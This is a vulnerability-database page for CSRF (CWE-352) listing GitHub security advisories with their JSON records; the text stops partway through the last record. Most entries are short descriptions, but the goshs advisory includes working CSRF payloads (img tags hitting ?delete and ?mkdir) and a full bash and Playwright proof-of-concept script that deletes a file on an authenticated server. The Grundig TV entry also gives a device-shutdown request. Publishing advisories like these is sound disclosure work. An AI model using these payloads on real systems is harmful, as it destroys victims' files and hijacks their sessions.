Common Weakness Enumeration

CWE-352

Allowed

Cross-Site Request Forgery (CSRF)

Abstraction: Compound · Status: Stable

The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.

14240 vulnerabilities reference this CWE, most recent first.

GHSA-JRFR-HJ79-9M2X

Vulnerability from github – Published: 2022-05-24 16:54 – Updated: 2024-04-04 01:46
VLAI
Details

The import-users-from-csv-with-meta plugin before 1.14.0.3 for WordPress has CSRF.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-15329"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-08-22T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "The import-users-from-csv-with-meta plugin before 1.14.0.3 for WordPress has CSRF.",
  "id": "GHSA-jrfr-hj79-9m2x",
  "modified": "2024-04-04T01:46:33Z",
  "published": "2022-05-24T16:54:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-15329"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/import-users-from-csv-with-meta?rev=2050450"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/import-users-from-csv-with-meta/#developers"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JRFW-5HXC-XPCM

Vulnerability from github – Published: 2025-03-08 03:30 – Updated: 2026-04-08 21:33
VLAI
Details

The Wishlist for WooCommerce: Multi Wishlists Per Customer plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.1.7. This is due to missing or incorrect nonce validation on the 'save_to_multiple_wishlist' function. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-13774"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-08T03:15:36Z",
    "severity": "MODERATE"
  },
  "details": "The Wishlist for WooCommerce: Multi Wishlists Per Customer plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.1.7. This is due to missing or incorrect nonce validation on the \u0027save_to_multiple_wishlist\u0027 function. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.",
  "id": "GHSA-jrfw-5hxc-xpcm",
  "modified": "2026-04-08T21:33:03Z",
  "published": "2025-03-08T03:30:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13774"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wish-list-for-woocommerce/tags/3.1.7/includes/free/class-alg-wc-wish-list-ajax.php#L337"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wish-list-for-woocommerce/tags/3.1.7/includes/free/class-alg-wc-wish-list-ajax.php#L789"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wish-list-for-woocommerce/tags/3.1.8/includes/free/class-alg-wc-wish-list-ajax.php#L337"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wish-list-for-woocommerce/tags/3.1.8/includes/free/class-alg-wc-wish-list-ajax.php#L789"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c11456bb-dde3-4ab8-b00b-a6cdcc68a760?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JRH8-HWHR-WVMG

Vulnerability from github – Published: 2022-05-24 22:00 – Updated: 2024-01-10 18:30
VLAI
Details

The icegram plugin before 1.9.19 for WordPress has CSRF via the wp-admin/edit.php option_name parameter.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2016-10962"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-09-16T13:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The icegram plugin before 1.9.19 for WordPress has CSRF via the wp-admin/edit.php option_name parameter.",
  "id": "GHSA-jrh8-hwhr-wvmg",
  "modified": "2024-01-10T18:30:24Z",
  "published": "2022-05-24T22:00:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-10962"
    },
    {
      "type": "WEB",
      "url": "https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_icegram_wordpress_plugin.html"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/icegram/#developers"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JRHJ-P524-M8G5

Vulnerability from github – Published: 2022-05-14 01:30 – Updated: 2022-05-14 01:30
VLAI
Details

An issue was discovered in WUZHI CMS 4.1.0. There is a CSRF vulnerability that can add a user account via index.php?m=member&f=index&v=add.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-9927"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-04-10T06:29:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in WUZHI CMS 4.1.0. There is a CSRF vulnerability that can add a user account via index.php?m=member\u0026f=index\u0026v=add.",
  "id": "GHSA-jrhj-p524-m8g5",
  "modified": "2022-05-14T01:30:34Z",
  "published": "2022-05-14T01:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-9927"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wuzhicms/wuzhicms/issues/128"
    },
    {
      "type": "WEB",
      "url": "http://www.iwantacve.cn/index.php/archives/7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JRJ6-QX48-3CPQ

Vulnerability from github – Published: 2023-08-16 15:30 – Updated: 2023-08-18 14:29
VLAI
Summary
Jenkins Favorite View Plugin cross-site request forgery vulnerability
Details

Jenkins Favorite View Plugin 5.v77a_37f62782d and earlier does not require POST requests for an HTTP endpoint, resulting in a cross-site request forgery (CSRF) vulnerability.

This vulnerability allows attackers to add or remove views from another user’s favorite views tab bar.

As of publication of this advisory, there is no fix.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.plugins:favorite-view"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "5.v77a"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-40351"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-08-16T21:04:29Z",
    "nvd_published_at": "2023-08-16T15:15:12Z",
    "severity": "MODERATE"
  },
  "details": "Jenkins Favorite View Plugin 5.v77a_37f62782d and earlier does not require POST requests for an HTTP endpoint, resulting in a cross-site request forgery (CSRF) vulnerability.\n\nThis vulnerability allows attackers to add or remove views from another user\u2019s favorite views tab bar.\n\nAs of publication of this advisory, there is no fix.",
  "id": "GHSA-jrj6-qx48-3cpq",
  "modified": "2023-08-18T14:29:06Z",
  "published": "2023-08-16T15:30:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40351"
    },
    {
      "type": "WEB",
      "url": "https://www.jenkins.io/security/advisory/2023-08-16/#SECURITY-3201"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2023/08/16/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Jenkins Favorite View Plugin cross-site request forgery vulnerability"
}

GHSA-JRJF-M2V9-J4QR

Vulnerability from github – Published: 2024-07-30 06:30 – Updated: 2024-08-01 15:32
VLAI
Details

The WP Ajax Contact Form WordPress plugin through 2.2.2 does not have CSRF check in place when deleting emails from the email list, which could allow attackers to make a logged in admin perform such action via a CSRF attack

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-5808"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-30T06:15:03Z",
    "severity": "MODERATE"
  },
  "details": "The WP Ajax Contact Form WordPress plugin through 2.2.2 does not have CSRF check in place when deleting emails from the email list, which could allow attackers to make a logged in admin perform such action via a CSRF attack",
  "id": "GHSA-jrjf-m2v9-j4qr",
  "modified": "2024-08-01T15:32:14Z",
  "published": "2024-07-30T06:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5808"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/1783bbce-3cc3-4a7e-a491-b713cee8278b"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JRP5-W8Q4-6M33

Vulnerability from github – Published: 2023-09-18 21:30 – Updated: 2024-03-21 03:35
VLAI
Details

** UNSUPPPORTED WHEN ASSIGNED **

Thanks to the weaknesses that the web application has at the user management level, an attacker could obtain the information from the headers that is necessary to create specially designed URLs and originate malicious actions when a legitimate user is logged into the web application.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-39446"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-09-18T21:15:56Z",
    "severity": "HIGH"
  },
  "details": "** UNSUPPPORTED WHEN ASSIGNED ** \n\n\n\n\n\n\nThanks to the weaknesses that the web application has at the user management level, an attacker could obtain the information from the headers that is necessary to create specially designed URLs and originate malicious actions when a legitimate user is logged into the web application.\n\n\n\n\n\n\n\n",
  "id": "GHSA-jrp5-w8q4-6m33",
  "modified": "2024-03-21T03:35:47Z",
  "published": "2023-09-18T21:30:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39446"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-23-250-03"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JRPQ-3JHP-H3PC

Vulnerability from github – Published: 2022-05-14 03:00 – Updated: 2022-05-14 03:00
VLAI
Details

Grundig Smart Inter@ctive TV 3.0 devices allow CSRF attacks via a POST request to TCP port 8085 containing a predictable ID value, as demonstrated by a /sendrcpackage?keyid=-2544&keysymbol=-4081 request to shut off the device.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-13989"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-07-11T16:29:00Z",
    "severity": "HIGH"
  },
  "details": "Grundig Smart Inter@ctive TV 3.0 devices allow CSRF attacks via a POST request to TCP port 8085 containing a predictable ID value, as demonstrated by a /sendrcpackage?keyid=-2544\u0026keysymbol=-4081 request to shut off the device.",
  "id": "GHSA-jrpq-3jhp-h3pc",
  "modified": "2022-05-14T03:00:55Z",
  "published": "2022-05-14T03:00:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-13989"
    },
    {
      "type": "WEB",
      "url": "https://packetstormsecurity.com/files/148453/Grundig-Smart-Inter-ctive-3.0-Insecure-Direct-Object-Reference.html"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/45022"
    },
    {
      "type": "WEB",
      "url": "https://www.youtube.com/watch?v=H7WYTkgtwsY"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JRQ5-HG6X-J6G3

Vulnerability from github – Published: 2026-04-14 22:28 – Updated: 2026-04-27 16:46
VLAI
Summary
goshs has CSRF in state-changing GET routes enables authenticated file deletion and directory creation
Details

Summary

goshs contains a cross-site request forgery issue in its state-changing HTTP GET routes. An external attacker can cause an already authenticated browser to trigger destructive actions such as ?delete and ?mkdir because goshs relies on HTTP basic auth alone and performs no CSRF, Origin, or Referer validation for those routes. I reproduced this on v2.0.0-beta.5.

Details

The vulnerable request handling is reachable through normal GET requests:

  • httpserver/handler.go:118-123 dispatches ?mkdir directly to handleMkdir()
  • httpserver/handler.go:180-186 dispatches ?delete directly to deleteFile()

Authentication is enforced only by HTTP basic auth:

  • httpserver/middleware.go:20-87 accepts any request that presents valid cached or replayed basic-auth credentials

The resulting state changes hit filesystem mutation sinks:

  • httpserver/handler.go:683-718 calls os.RemoveAll() in deleteFile()
  • httpserver/handler.go:961-1000 calls os.MkdirAll() in handleMkdir()

Because browsers can replay HTTP basic-auth credentials on subresource requests, an attacker-controlled page can embed:

  • <img src="http://127.0.0.1:18095/victim.txt?delete">
  • <img src="http://127.0.0.1:18095/csrfmade?mkdir">

If the victim has already authenticated to goshs, those requests are treated as legitimate authenticated actions and the server mutates the filesystem.

PoC

Manual verification commands used:

Terminal 1

cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'
go build -o /tmp/goshs_beta5 ./

rm -rf /tmp/goshs_csrf_root /tmp/goshs_csrf_site
mkdir -p /tmp/goshs_csrf_root /tmp/goshs_csrf_site
printf 'delete me\n' > /tmp/goshs_csrf_root/victim.txt

cat > /tmp/goshs_csrf_site/delete.html <<'HTML'
<!doctype html>
<html>
  <body>
    <img src="http://127.0.0.1:18095/victim.txt?delete">
  </body>
</html>
HTML

cat > /tmp/goshs_csrf_site/mkdir.html <<'HTML'
<!doctype html>
<html>
  <body>
    <img src="http://127.0.0.1:18095/csrfmade?mkdir">
  </body>
</html>
HTML

/tmp/goshs_beta5 -d /tmp/goshs_csrf_root -p 18095 -b 'u:p'

Terminal 2

python3 -m http.server 18889 --directory /tmp/goshs_csrf_site

Victim actions:

  1. Open http://127.0.0.1:18095/ in a browser and authenticate with u:p.
  2. Visit http://127.0.0.1:18889/delete.html.
  3. Visit http://127.0.0.1:18889/mkdir.html.

Two terminal commands I ran during local validation:

test -e /tmp/goshs_csrf_root/victim.txt && echo EXISTS || echo DELETED
test -d /tmp/goshs_csrf_root/csrfmade && echo CREATED || echo MISSING

Expected result:

  • the first check prints DELETED
  • the second check prints CREATED

PoC Video 1:

https://github.com/user-attachments/assets/94b78934-0a70-479f-9b89-43a859939473

Single-script verification:

'/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc3'

Observed script result:

  • Delete status: DELETED
  • mkdir status: CREATED
  • [RESULT] VULNERABLE: attacker-controlled pages triggered authenticated state changes via GET

PoC Video 2:

https://github.com/user-attachments/assets/1143e039-81e4-4476-a1c3-f81ae46c9ede

gosh_poc3 script content:

#!/usr/bin/env bash
set -euo pipefail

REPO='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'
PLAY_DIR='/tmp/codex-playwright'
BIN='/tmp/goshs_beta5_csrf'
PORT='18095'
ATTACKER_PORT='18889'
CHROME='/Applications/Google Chrome.app/Contents/MacOS/Google Chrome'
WORKDIR="$(mktemp -d /tmp/goshs-csrf-beta5-XXXXXX)"
ROOT="$WORKDIR/root"
SITE="$WORKDIR/site"
GOSHS_PID=""
ATTACKER_PID=""

cleanup() {
  if [[ -n "${ATTACKER_PID:-}" ]]; then
    kill "${ATTACKER_PID}" >/dev/null 2>&1 || true
  fi
  if [[ -n "${GOSHS_PID:-}" ]]; then
    kill "${GOSHS_PID}" >/dev/null 2>&1 || true
  fi
}
trap cleanup EXIT

mkdir -p "$ROOT" "$SITE"
printf 'delete me\n' > "$ROOT/victim.txt"

cat > "$SITE/delete.html" <<HTML
<!doctype html>
<html>
  <body>
    <img src="http://127.0.0.1:${PORT}/victim.txt?delete">
  </body>
</html>
HTML

cat > "$SITE/mkdir.html" <<HTML
<!doctype html>
<html>
  <body>
    <img src="http://127.0.0.1:${PORT}/csrfmade?mkdir">
  </body>
</html>
HTML

echo "[1/6] Building goshs beta.5"
(cd "$REPO" && go build -o "$BIN" ./)

echo "[2/6] Starting goshs with HTTP basic auth"
"$BIN" -d "$ROOT" -p "$PORT" -b 'u:p' >"$WORKDIR/goshs.log" 2>&1 &
GOSHS_PID=$!

for _ in $(seq 1 40); do
  if curl -s -u u:p "http://127.0.0.1:${PORT}/" >/dev/null 2>&1; then
    break
  fi
  sleep 0.25
done

echo "[3/6] Serving attacker pages"
python3 -m http.server "$ATTACKER_PORT" --directory "$SITE" >"$WORKDIR/attacker.log" 2>&1 &
ATTACKER_PID=$!

if [[ ! -d "$PLAY_DIR/node_modules/playwright-core" ]]; then
  mkdir -p "$PLAY_DIR"
  (cd "$PLAY_DIR" && npm install --no-save playwright-core >/dev/null)
fi

if [[ ! -x "$CHROME" ]]; then
  echo "[ERROR] Chrome not found at $CHROME" >&2
  exit 1
fi

echo "[4/6] Visiting attacker pages from an authenticated browser"
node - <<'NODE'
const { chromium } = require('/tmp/codex-playwright/node_modules/playwright-core');

(async () => {
  const browser = await chromium.launch({
    headless: true,
    executablePath: '/Applications/Google Chrome.app/Contents/MacOS/Google Chrome',
  });
  const context = await browser.newContext({
    httpCredentials: { username: 'u', password: 'p' },
  });
  const page = await context.newPage();
  await page.goto('http://127.0.0.1:18095/', { waitUntil: 'domcontentloaded' });
  await page.goto('http://127.0.0.1:18889/delete.html', { waitUntil: 'domcontentloaded' });
  await page.waitForTimeout(1200);
  await page.goto('http://127.0.0.1:18889/mkdir.html', { waitUntil: 'domcontentloaded' });
  await page.waitForTimeout(1200);
  await browser.close();
})();
NODE

echo "[5/6] Verifying impact"
DELETE_STATUS="MISSING"
MKDIR_STATUS="MISSING"
if [[ ! -e "$ROOT/victim.txt" ]]; then
  DELETE_STATUS="DELETED"
fi
if [[ -d "$ROOT/csrfmade" ]]; then
  MKDIR_STATUS="CREATED"
fi

echo "[6/6] Results"
echo "Delete status: $DELETE_STATUS"
echo "mkdir status: $MKDIR_STATUS"

if [[ "$DELETE_STATUS" == "DELETED" && "$MKDIR_STATUS" == "CREATED" ]]; then
  echo '[RESULT] VULNERABLE: attacker-controlled pages triggered authenticated state changes via GET'
else
  echo '[RESULT] NOT REPRODUCED'
  exit 1
fi

Impact

This issue lets an external attacker abuse an authenticated victim's browser to perform filesystem mutations on the goshs server. In the demonstrated case, the attacker deletes an existing file and creates a new directory without the victim intentionally performing either action. Any deployment that relies on HTTP basic auth for web access is exposed to cross-site state changes when a user visits attacker-controlled content while authenticated.

Remediation

Suggested fixes:

  1. Move all state-changing functionality such as delete and mkdir off GET routes and require non-idempotent methods such as POST or DELETE.
  2. Add CSRF protections for authenticated browser actions, including per-request CSRF tokens plus strict Origin and Referer validation.
  3. Treat any rendered HTML content as untrusted and isolate it from issuing authenticated same-origin requests.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.0-beta.5"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/patrickhener/goshs/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0-beta.4"
            },
            {
              "fixed": "2.0.0-beta.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40883"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T22:28:44Z",
    "nvd_published_at": "2026-04-21T20:17:01Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\ngoshs contains a cross-site request forgery issue in its state-changing HTTP GET routes. An external attacker can cause an already authenticated browser to trigger destructive actions such as `?delete` and `?mkdir` because goshs relies on HTTP basic auth alone and performs no CSRF, `Origin`, or `Referer` validation for those routes. I reproduced this on `v2.0.0-beta.5`.\n\n### Details\nThe vulnerable request handling is reachable through normal GET requests:\n\n- `httpserver/handler.go:118-123` dispatches `?mkdir` directly to `handleMkdir()`\n- `httpserver/handler.go:180-186` dispatches `?delete` directly to `deleteFile()`\n\nAuthentication is enforced only by HTTP basic auth:\n\n- `httpserver/middleware.go:20-87` accepts any request that presents valid cached or replayed basic-auth credentials\n\nThe resulting state changes hit filesystem mutation sinks:\n\n- `httpserver/handler.go:683-718` calls `os.RemoveAll()` in `deleteFile()`\n- `httpserver/handler.go:961-1000` calls `os.MkdirAll()` in `handleMkdir()`\n\nBecause browsers can replay HTTP basic-auth credentials on subresource requests, an attacker-controlled page can embed:\n\n- `\u003cimg src=\"http://127.0.0.1:18095/victim.txt?delete\"\u003e`\n- `\u003cimg src=\"http://127.0.0.1:18095/csrfmade?mkdir\"\u003e`\n\nIf the victim has already authenticated to goshs, those requests are treated as legitimate authenticated actions and the server mutates the filesystem.\n\n### PoC\nManual verification commands used:\n\n`Terminal 1`\n\n```bash\ncd \u0027/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5\u0027\ngo build -o /tmp/goshs_beta5 ./\n\nrm -rf /tmp/goshs_csrf_root /tmp/goshs_csrf_site\nmkdir -p /tmp/goshs_csrf_root /tmp/goshs_csrf_site\nprintf \u0027delete me\\n\u0027 \u003e /tmp/goshs_csrf_root/victim.txt\n\ncat \u003e /tmp/goshs_csrf_site/delete.html \u003c\u003c\u0027HTML\u0027\n\u003c!doctype html\u003e\n\u003chtml\u003e\n  \u003cbody\u003e\n    \u003cimg src=\"http://127.0.0.1:18095/victim.txt?delete\"\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\nHTML\n\ncat \u003e /tmp/goshs_csrf_site/mkdir.html \u003c\u003c\u0027HTML\u0027\n\u003c!doctype html\u003e\n\u003chtml\u003e\n  \u003cbody\u003e\n    \u003cimg src=\"http://127.0.0.1:18095/csrfmade?mkdir\"\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\nHTML\n\n/tmp/goshs_beta5 -d /tmp/goshs_csrf_root -p 18095 -b \u0027u:p\u0027\n```\n\n`Terminal 2`\n\n```bash\npython3 -m http.server 18889 --directory /tmp/goshs_csrf_site\n```\n\nVictim actions:\n\n1. Open `http://127.0.0.1:18095/` in a browser and authenticate with `u:p`.\n2. Visit `http://127.0.0.1:18889/delete.html`.\n3. Visit `http://127.0.0.1:18889/mkdir.html`.\n\nTwo terminal commands I ran during local validation:\n\n```bash\ntest -e /tmp/goshs_csrf_root/victim.txt \u0026\u0026 echo EXISTS || echo DELETED\ntest -d /tmp/goshs_csrf_root/csrfmade \u0026\u0026 echo CREATED || echo MISSING\n```\n\nExpected result:\n\n- the first check prints `DELETED`\n- the second check prints `CREATED`\n\nPoC Video 1:\n\nhttps://github.com/user-attachments/assets/94b78934-0a70-479f-9b89-43a859939473\n\n\n\nSingle-script verification:\n\n```bash\n\u0027/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc3\u0027\n```\n\nObserved script result:\n\n- `Delete status: DELETED`\n- `mkdir status: CREATED`\n- `[RESULT] VULNERABLE: attacker-controlled pages triggered authenticated state changes via GET`\n\nPoC Video 2:\n\nhttps://github.com/user-attachments/assets/1143e039-81e4-4476-a1c3-f81ae46c9ede\n\n\n\n`gosh_poc3` script content:\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nREPO=\u0027/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5\u0027\nPLAY_DIR=\u0027/tmp/codex-playwright\u0027\nBIN=\u0027/tmp/goshs_beta5_csrf\u0027\nPORT=\u002718095\u0027\nATTACKER_PORT=\u002718889\u0027\nCHROME=\u0027/Applications/Google Chrome.app/Contents/MacOS/Google Chrome\u0027\nWORKDIR=\"$(mktemp -d /tmp/goshs-csrf-beta5-XXXXXX)\"\nROOT=\"$WORKDIR/root\"\nSITE=\"$WORKDIR/site\"\nGOSHS_PID=\"\"\nATTACKER_PID=\"\"\n\ncleanup() {\n  if [[ -n \"${ATTACKER_PID:-}\" ]]; then\n    kill \"${ATTACKER_PID}\" \u003e/dev/null 2\u003e\u00261 || true\n  fi\n  if [[ -n \"${GOSHS_PID:-}\" ]]; then\n    kill \"${GOSHS_PID}\" \u003e/dev/null 2\u003e\u00261 || true\n  fi\n}\ntrap cleanup EXIT\n\nmkdir -p \"$ROOT\" \"$SITE\"\nprintf \u0027delete me\\n\u0027 \u003e \"$ROOT/victim.txt\"\n\ncat \u003e \"$SITE/delete.html\" \u003c\u003cHTML\n\u003c!doctype html\u003e\n\u003chtml\u003e\n  \u003cbody\u003e\n    \u003cimg src=\"http://127.0.0.1:${PORT}/victim.txt?delete\"\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\nHTML\n\ncat \u003e \"$SITE/mkdir.html\" \u003c\u003cHTML\n\u003c!doctype html\u003e\n\u003chtml\u003e\n  \u003cbody\u003e\n    \u003cimg src=\"http://127.0.0.1:${PORT}/csrfmade?mkdir\"\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\nHTML\n\necho \"[1/6] Building goshs beta.5\"\n(cd \"$REPO\" \u0026\u0026 go build -o \"$BIN\" ./)\n\necho \"[2/6] Starting goshs with HTTP basic auth\"\n\"$BIN\" -d \"$ROOT\" -p \"$PORT\" -b \u0027u:p\u0027 \u003e\"$WORKDIR/goshs.log\" 2\u003e\u00261 \u0026\nGOSHS_PID=$!\n\nfor _ in $(seq 1 40); do\n  if curl -s -u u:p \"http://127.0.0.1:${PORT}/\" \u003e/dev/null 2\u003e\u00261; then\n    break\n  fi\n  sleep 0.25\ndone\n\necho \"[3/6] Serving attacker pages\"\npython3 -m http.server \"$ATTACKER_PORT\" --directory \"$SITE\" \u003e\"$WORKDIR/attacker.log\" 2\u003e\u00261 \u0026\nATTACKER_PID=$!\n\nif [[ ! -d \"$PLAY_DIR/node_modules/playwright-core\" ]]; then\n  mkdir -p \"$PLAY_DIR\"\n  (cd \"$PLAY_DIR\" \u0026\u0026 npm install --no-save playwright-core \u003e/dev/null)\nfi\n\nif [[ ! -x \"$CHROME\" ]]; then\n  echo \"[ERROR] Chrome not found at $CHROME\" \u003e\u00262\n  exit 1\nfi\n\necho \"[4/6] Visiting attacker pages from an authenticated browser\"\nnode - \u003c\u003c\u0027NODE\u0027\nconst { chromium } = require(\u0027/tmp/codex-playwright/node_modules/playwright-core\u0027);\n\n(async () =\u003e {\n  const browser = await chromium.launch({\n    headless: true,\n    executablePath: \u0027/Applications/Google Chrome.app/Contents/MacOS/Google Chrome\u0027,\n  });\n  const context = await browser.newContext({\n    httpCredentials: { username: \u0027u\u0027, password: \u0027p\u0027 },\n  });\n  const page = await context.newPage();\n  await page.goto(\u0027http://127.0.0.1:18095/\u0027, { waitUntil: \u0027domcontentloaded\u0027 });\n  await page.goto(\u0027http://127.0.0.1:18889/delete.html\u0027, { waitUntil: \u0027domcontentloaded\u0027 });\n  await page.waitForTimeout(1200);\n  await page.goto(\u0027http://127.0.0.1:18889/mkdir.html\u0027, { waitUntil: \u0027domcontentloaded\u0027 });\n  await page.waitForTimeout(1200);\n  await browser.close();\n})();\nNODE\n\necho \"[5/6] Verifying impact\"\nDELETE_STATUS=\"MISSING\"\nMKDIR_STATUS=\"MISSING\"\nif [[ ! -e \"$ROOT/victim.txt\" ]]; then\n  DELETE_STATUS=\"DELETED\"\nfi\nif [[ -d \"$ROOT/csrfmade\" ]]; then\n  MKDIR_STATUS=\"CREATED\"\nfi\n\necho \"[6/6] Results\"\necho \"Delete status: $DELETE_STATUS\"\necho \"mkdir status: $MKDIR_STATUS\"\n\nif [[ \"$DELETE_STATUS\" == \"DELETED\" \u0026\u0026 \"$MKDIR_STATUS\" == \"CREATED\" ]]; then\n  echo \u0027[RESULT] VULNERABLE: attacker-controlled pages triggered authenticated state changes via GET\u0027\nelse\n  echo \u0027[RESULT] NOT REPRODUCED\u0027\n  exit 1\nfi\n```\n\n### Impact\nThis issue lets an external attacker abuse an authenticated victim\u0027s browser to perform filesystem mutations on the goshs server. In the demonstrated case, the attacker deletes an existing file and creates a new directory without the victim intentionally performing either action. Any deployment that relies on HTTP basic auth for web access is exposed to cross-site state changes when a user visits attacker-controlled content while authenticated.\n\n### Remediation\nSuggested fixes:\n\n1. Move all state-changing functionality such as `delete` and `mkdir` off GET routes and require non-idempotent methods such as `POST` or `DELETE`.\n2. Add CSRF protections for authenticated browser actions, including per-request CSRF tokens plus strict `Origin` and `Referer` validation.\n3. Treat any rendered HTML content as untrusted and isolate it from issuing authenticated same-origin requests.",
  "id": "GHSA-jrq5-hg6x-j6g3",
  "modified": "2026-04-27T16:46:57Z",
